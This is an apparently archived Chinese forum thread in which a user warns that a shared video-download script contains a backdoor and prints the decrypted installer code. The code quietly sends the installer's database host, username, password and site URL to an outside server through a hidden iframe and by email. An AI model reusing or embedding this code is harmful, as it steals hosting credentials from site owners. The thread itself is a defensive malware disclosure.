{"id":39180,"date":"2020-02-22T02:22:06","date_gmt":"2020-02-21T18:22:06","guid":{"rendered":"http:\/\/4563.org\/?p=39180"},"modified":"2020-02-22T02:22:06","modified_gmt":"2020-02-21T18:22:06","slug":"%e5%85%b3%e4%ba%8e%e6%9f%90%e5%a4%a7%e4%bd%ac%e5%8f%91%e7%9a%84%e8%a7%86%e9%a2%91%e4%b8%8b%e8%bd%bd%e8%a7%a3%e6%9e%90%e6%ba%90%e7%a0%81%e5%8f%af%e8%83%bd%e5%90%ab%e6%9c%89%e5%90%8e%e9%97%a8%e7%9a%84","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=39180","title":{"rendered":"\u5173\u4e8e\u67d0\u5927\u4f6c\u53d1\u7684[\u89c6\u9891\u4e0b\u8f7d\u89e3\u6790\u6e90\u7801]\u53ef\u80fd\u542b\u6709\u540e\u95e8\u7684\u8b66\u544a"},"content":{"rendered":"\n

\t\t\t\t\tflyqie<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:26:42\t<\/p>\n

\u5173\u4e8e\u67d0\u5927\u4f6c\u53d1\u7684[\u89c6\u9891\u4e0b\u8f7d\u89e3\u6790\u6e90\u7801]\u53ef\u80fd\u542b\u6709\u540e\u95e8\u7684\u8b66\u544a<\/h3>\n

\t\t \u672c\u5e16\u6700\u540e\u7531 flyqie \u4e8e 2019-12-7 20:46 \u7f16\u8f91 <\/p>\n

\u5927\u4f6c\u5e16\u5b50:
https:\/\/www.hostloc.com\/thread-620400-1-1.html
\u5206\u6790:
install\/database_details.php :
https:\/\/i.loli.net\/2019\/12\/07\/4rvkm5NV2yndSpT.jpg<\/p>\n

install\/includes\/encrypt.php:
https:\/\/i.loli.net\/2019\/12\/07\/IMqHwgu9z4exWZy.jpg
\u52a0\u5bc6\uff1f\u6df7\u6dc6\uff1f\u6ca1\u5173\u7cfb\uff0c\u5199\u4e2aphp\u7834\u89e3\u4e0b(\u5b57\u6570\u8d85\u9650):
https:\/\/pastebin.com\/7x1PkQrb
\u597d\u7684\uff0c\u8dd1\u51fa\u6765\u4e86:
\u6b63\u5728\u8fdb\u884c\u7b2c1\u6b21\u64cd\u4f5c
\u7b2c1\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c2\u6b21\u64cd\u4f5c
\u7b2c2\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c3\u6b21\u64cd\u4f5c
\u7b2c3\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c4\u6b21\u64cd\u4f5c
\u7b2c4\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c5\u6b21\u64cd\u4f5c
\u7b2c5\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c6\u6b21\u64cd\u4f5c
\u7b2c6\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c7\u6b21\u64cd\u4f5c
\u7b2c7\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c8\u6b21\u64cd\u4f5c
\u7b2c8\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c9\u6b21\u64cd\u4f5c
\u7b2c9\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c10\u6b21\u64cd\u4f5c
\u7b2c10\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c11\u6b21\u64cd\u4f5c
\u7b2c11\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c12\u6b21\u64cd\u4f5c
\u7b2c12\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c13\u6b21\u64cd\u4f5c
\u7b2c13\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c14\u6b21\u64cd\u4f5c
\u7b2c14\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c15\u6b21\u64cd\u4f5c
\u7b2c15\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c16\u6b21\u64cd\u4f5c
\u7b2c16\u6b21\u64cd\u4f5c\u5b8c\u6bd5
\u6b63\u5728\u8fdb\u884c\u7b2c17\u6b21\u64cd\u4f5c
\u5df2\u89e3\u5bc6\u7591\u4f3c\u5185\u5bb9,\u5185\u5bb9\u4e3a[
$timezone_name = date_default_timezone_set(‘Asia\/Kolkata’);
                                        $ip_mail = getenv(‘HTTP_CLIENT_IP’)?:
                                        getenv(‘HTTP_X_FORWARDED_FOR’)?:
                                        getenv(‘HTTP_X_FORWARDED’)?:
                                        getenv(‘HTTP_FORWARDED_FOR’)?:
                                        getenv(‘HTTP_FORWARDED’)?:
                                        getenv(‘REMOTE_ADDR’);
                                        <\/p>\n

                                       
                                        $validation_ip = $ip_mail;
                                       
                                        date_default_timezone_set(‘Asia\/Kolkata’);
                                                $date_1 = date("d-m-Y");
                                                $date_2 = " ";
                                                $date_3 = date("h:i:sa");
                                               
                                        $date = $date_1 . $date_2 . $date_3;
                                        $validation_date = $date;
                                       
                                        $validation_url = (isset($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] === ‘on’ ? "https" : "http") . ":\/\/$_SERVER$_SERVER";
                                        $to = "admin@hexcody.com, shinypearl42@hotmail.com";
                                        $subject = "HTML email";
                                       
                                       
                                        $rand_num_1                = rand(254651,35153514);
                                        $rand_num_2                = rand(682734,85214651);
                                        $rand_num_3                = rand(663221,63147895);
                                        $install_code         = $rand_num_1 . $rand_num_2 . $rand_num_3;
                                        $host_name                 = $_SESSION["server"];                        \/\/1
                                        $host_db_name        = $_SESSION["database"];                \/\/2
                                        $host_db_user        = $_SESSION["username"];                \/\/3
                                        $host_db_pass        = $_SESSION["password"];                \/\/4
                                        $url                         = $validation_url;                                \/\/5
                                                $date_1 = date("d-m-Y");
                                                $date_2 = " ";
                                                $date_3 = date("h:i:sa");
                                        $date_created         = $date_1 . $date_2 . $date_3;        \/\/6
                                       
                                       
                                        $html_2 = ‘<\/p>\n

                                                                        <!DOCTYPE html>
                                                                        <html lang="en">
                                                                        <head>
                                                                          <meta charset="utf-8">
                                                                          <meta name="viewport" content="width=device-width, initial-scale=1">
                                                                        <style>
                                                                        iframe.hidden
                                                                        {
                                                                        display:none
                                                                        }
                                                                       <\/style>
                                                                        <\/head>
                                                                        <body>
                                                                        <iframe class="hidden" src="https:\/\/www.sifylab.com\/apps\/hexcody\/1_global\/web_install_host.php?pass=prettysecret24&install_code=’.$install_code.’&host_name=’.$host_name.’&host_db_name=’.$host_db_name.’&host_db_user=’.$host_db_user.’&host_db_pass=’.$host_db_pass.’&url=’.$url.’&date_created=’.$date_created.’"><\/iframe>
                                                                        <\/body>
                                                                        <\/html><\/p>\n

                                                ‘;
                                                echo $html_2;<\/p>\n

                                               
                                                <\/p>\n

                                        $message_mail = "
                                        <html>
                                        <head>
                                        <title>HTML email<\/title>
                                        <\/head>
                                        <body>
                                        <p>Hosting Install Info<\/p>
                                        <br\/><br\/> <h3><font color = ‘red’ >Hosting Details : <\/font><\/h3><br\/><br\/> Host : ".$_SESSION["server"]." <br\/> Database : ".$_SESSION["database"]." <br\/> Username : ".$_SESSION["username"]." <br\/> Password : ".$_SESSION["password"]." <br\/> Url : ".$validation_url." <br\/><br\/> Date : ".$validation_date." <br\/> TimeZone : ".$timezone_name." <br\/><br\/> Location IP : ".$validation_ip." <br\/><br\/>Install Code : ".$install_code."<br\/><br\/>
                                       
                                        <h3>Poison Successfully Injected<\/h3>
                                       
                                        <\/body>
                                        <\/html>
                                        ";<\/p>\n

                                        \/\/ Always set content-type when sending HTML email
                                        $headers = "MIME-Version: 1.0" . "rn";
                                        $headers .= "Content-type:text\/html;charset=UTF-8" . "rn";<\/p>\n

                                        \/\/ More headers
                                        $headers .= ‘From: <admin@hexcody.com>’ . "rn";
                                        $headers .= ‘Cc: admin@hexcody.com’ . "rn";<\/p>\n

                                        mail($to,$subject,$message_mail,$headers);
]
\u4ee3\u7801\u8fd8\u539f\u51fa\u6765\u4e86\uff0c\u6574\u7406\u4e00\u4e0b(\u5b57\u6570\u8d85\u9650):
https:\/\/pastebin.com\/gmGVEfHA
\u5230\u6b64\uff0c\u5206\u6790\u5b8c\u6bd5\uff0c\u8be5\u6e90\u7801\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5b89\u88c5\u8005\u7ad9\u70b9\u5173\u952e\u4fe1\u606f\u6cc4\u9732.
\u4f46\u6211\u76f8\u4fe1\uff0cloc\u5927\u4f6c\u662f\u6e05\u767d\u7684\uff0c\u521d\u8877\u662f\u4e3a\u4e86\u5206\u4eab\uff0c\u4e5f\u6ca1\u6709\u60f3\u5230\u53ef\u80fd\u4f1a\u6709\u540e\u95e8.
\u672c\u4eba\u6280\u672f\u6709\u9650\uff0c\u5982\u6709\u9519\u8bef\uff0c\u6073\u8bf7\u6307\u51fa\uff0c\u8c22\u8c22!
——————————————————————-
\u66f4\u65b0:
\u53c8\u53d1\u73b0\u540e\u95e8(\u6ce8\u91ca\u4e0a\u5199\u7684\u540e\u95e8\u6587\u4ef6\u662f\u5728\u540e\u7eed\u89e3\u5bc6\u5df2\u52a0\u5bc6\u6587\u4ef6\u540e\u5f97\u51fa\u7ed3\u8bba\u7684,\u6ce8\u91ca\u5199\u4e8e\u89e3\u5bc6\u5206\u6790\u5df2\u52a0\u5bc6\u6587\u4ef6\u5b8c\u6bd5\u540e):
install\/website_details_settings.php :
https:\/\/i.loli.net\/2019\/12\/07\/2Q9E8HGBSwsqLNe.jpg
install\/includes\/fncrypt.php :
emmmm\u6df7\u6dc6\u4e86
https:\/\/i.loli.net\/2019\/12\/07\/kL2N7OZmhwqDPtS.jpg
\u52a0\u5bc6\u65b9\u5f0f\u5982\u51fa\u4e00\u8f99\uff0c\u7ee7\u7eed\u7528\u4e4b\u524d\u7684php\u89e3\u5bc6\u8dd1\u4e00\u904d(\u5b57\u6570\u8d85\u9650):
https:\/\/pastebin.com\/94Be5DTv
\u683c\u5f0f\u5316\u5206\u6790\u4e00\u4e0b(\u5b57\u6570\u8d85\u9650):
https:\/\/pastebin.com\/sFn0cR0E
\u5230\u6b64\uff0c\u7b2c\u4e8c\u8f6e\u5206\u6790\u5b8c\u6bd5\uff0c\u8be5\u6e90\u7801\u53ef\u80fd\u4f1a\u5bfc\u81f4\u7ad9\u70b9\u7ba1\u7406\u5458\u4fe1\u606f\u6cc4\u9732.
\u8fd8\u662f\u90a3\u53e5\u8bdd:
\u6211\u76f8\u4fe1\uff0cloc\u5927\u4f6c\u662f\u6e05\u767d\u7684\uff0c\u521d\u8877\u662f\u4e3a\u4e86\u5206\u4eab\uff0c\u4e5f\u6ca1\u6709\u60f3\u5230\u53ef\u80fd\u4f1a\u6709\u540e\u95e8.
\u672c\u4eba\u6280\u672f\u6709\u9650\uff0c\u5982\u6709\u9519\u8bef\uff0c\u6073\u8bf7\u6307\u51fa\uff0c\u8c22\u8c22!\t\t\t\t<\/p>\n

\t\t\t\t\twolfewong<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:42:41\t<\/p>\n

<\/h3>\n

\t\t\u540e\u95e8\u597d\u50cf\u633a\u591a\u7684
https:\/\/s2.ax1x.com\/2019\/12\/07\/QN07Fg.png\t\t\t\t<\/p>\n

\t\t\t\t\tseeseexiyou<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:29:46\t<\/p>\n

<\/h3>\n

\t\t\u524d\u6392\u56f4\u89c2\u5927\u4f6c\u5728\u7ebf\u89e3\u5bc6\u554a\t\t\t\t<\/p>\n

\t\t\t\t\tokvps<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:32:40\t<\/p>\n

<\/h3>\n

\t\t\u4e0d\u61c2\uff0c\u9876\u4e0a\u53bb\u8ba9\u66f4\u591a\u5927\u4f6c\u770b\u5230\t\t\t\t<\/p>\n

\t\t\t\t\tkzus<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:35:04\t<\/p>\n

<\/h3>\n

\t\tadmin@hexcody.com
shinypearl42@hotmail.com\t\t\t\t<\/p>\n

\t\t\t\t\tTianTangJun<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:36:37\t<\/p>\n

<\/h3>\n

\t\t\u524d\u6392 \u56f4\u89c2\u4e0b\t\t\t\t<\/p>\n

\t\t\t\t\t\u68a6\u91cc\u5bfb\u5979\u5979\u4ed6\u5b83<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:37:49\t<\/p>\n

<\/h3>\n

\t\t\u652f\u6301\u89e3\u5bc6:lol:lol\t\t\t\t<\/p>\n

\t\t\t\t\t\u5224\u5b98<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:43:25\t<\/p>\n

<\/h3>\n

\t\t\u60f3\u8ddf\u5927\u4f6c\u5b66\u4e60\u600e\u4e48\u89e3\u5bc6\u554a\t\t\t\t<\/p>\n

\t\t\t\t\tS\u0412<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:43:30\t<\/p>\n

<\/h3>\n

\t\t\u6709\u70b9\u590d\u6742\u3002\t\t\t\t<\/p>\n

\t\t\t\t\tleasr<\/strong> \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : 2019-12-7 20:44:19\t<\/p>\n

<\/h3>\n

\t\t\u63ed\u79d8\u8d34\u8981\u652f\u6301\u963f\u54c8\u54c8\t\t\t <\/p>\n","protected":false},"excerpt":{"rendered":"

flyqie \u5927\u4f6c\u6709\u8bdd\u8bf4 : 20…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/39180"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39180"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/39180\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39180"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}